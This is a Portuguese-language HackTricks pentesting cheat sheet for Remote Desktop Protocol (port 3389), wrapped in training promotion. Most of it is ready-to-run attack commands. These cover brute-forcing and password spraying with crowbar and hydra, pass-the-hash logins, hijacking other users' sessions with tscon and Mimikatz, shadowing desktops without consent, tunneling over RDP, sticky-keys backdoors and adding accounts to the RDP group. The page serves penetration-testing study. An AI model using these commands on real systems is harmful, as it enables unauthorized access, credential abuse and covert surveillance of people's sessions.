3389 - Pentesting RDP
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.
Informações Básicas
Desenvolvido pela Microsoft, o Remote Desktop Protocol (RDP) foi projetado para permitir uma conexão com interface gráfica entre computadores através de uma rede. Para estabelecer essa conexão, o usuário utiliza software cliente RDP e, simultaneamente, o computador remoto precisa executar o software servidor RDP. Essa configuração permite o controle e acesso do ambiente de área de trabalho do computador remoto, trazendo essencialmente sua interface para o dispositivo local do usuário.
Porta padrão: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumeração
Automática
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
Ele verifica a criptografia disponível e a vulnerabilidade a DoS (sem causar DoS ao serviço) e obtém informações NTLM do Windows (versões).
Camada de Segurança / Verificações NLA
RDP pode negociar diferentes camadas de segurança (native RDP, TLS, ou CredSSP/NLA). Você pode rapidamente fingerprint as configurações do lado do servidor e se NLA é necessário:
# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>
# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>
# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot
# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot
Brute force
Cuidado, você pode bloquear contas
Password Spraying
Cuidado, você pode bloquear contas
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Conectar com credentials/hash conhecidos
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Verificar credenciais conhecidas contra serviços RDP
rdp_check.py do impacket permite verificar se algumas credenciais são válidas para um serviço RDP:
rdp_check <domain>/<name>:<password>@<IP>
Ataques
Session stealing
Com permissões SYSTEM você pode acessar qualquer sessão RDP aberta por qualquer usuário sem precisar conhecer a senha do proprietário.
Obter sessões abertas:
query user
Acesso à sessão selecionada
tscon <ID> /dest:<SESSIONNAME>
Agora você estará dentro da sessão RDP selecionada e terá que se passar por um usuário usando apenas ferramentas e recursos do Windows.
Importante: Ao acessar uma sessão RDP ativa, você desconectará o usuário que a estava usando.
Você poderia obter senhas fazendo dump do processo, mas este método é muito mais rápido e permite interagir com os desktops virtuais do usuário (senhas no Notepad sem terem sido salvas no disco, outras sessões RDP abertas em outras máquinas…)
Mimikatz
Você também pode usar Mimikatz para isso:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
RDP Shadowing (Remote Control)
Se Remote Desktop Services shadowing estiver habilitado, você pode ver ou controlar a sessão ativa de outro usuário (às vezes sem consentimento) usando os switches embutidos mstsc.
# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>
# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control
# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt
# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
RDP Virtual Channel Tunneling
RDP suporta virtual channels que podem ser abusados para pivoting/tunneling em uma sessão RDP estabelecida. Uma opção é rdp2tcp (client/server) que pode multiplexar TCP forwards sobre RDP (funciona com FreeRDP).
# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp
Sticky-keys & Utilman
Combinando esta técnica com stickykeys ou utilman você poderá acessar um CMD administrativo e qualquer sessão RDP a qualquer momento
You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
Se alguém de um domínio diferente ou com melhores privilégios login via RDP no PC onde você é um Admin, você pode inject seu beacon no RDP session process dele e agir como ele:
Adicionando Usuário ao grupo RDP
net localgroup "Remote Desktop Users" UserLoginName /add
Ferramentas Automáticas
AutoRDPwn é um post-exploitation framework criado em Powershell, projetado principalmente para automatizar o ataque Shadow em computadores Microsoft Windows. Esta vulnerabilidade (listada como um recurso pela Microsoft) permite que um atacante remoto veja a área de trabalho da vítima sem seu consentimento, e até a controle sob demanda, usando ferramentas nativas do próprio sistema operacional.
-
Controlar mouse e teclado de forma automatizada pela linha de comando
-
Controlar a área de transferência de forma automatizada pela linha de comando
-
Gerar um proxy SOCKS a partir do client que canaliza a comunicação de rede para o target via RDP
-
Executar comandos arbitrários SHELL e PowerShell no target sem enviar arquivos
-
Enviar e baixar arquivos para/desde o target mesmo quando as transferências de arquivos estão desativadas no target
Esta ferramenta permite executar comandos na RDP da vítima sem necessitar de interface gráfica.
Comandos Automáticos do HackTricks
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Referências
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.


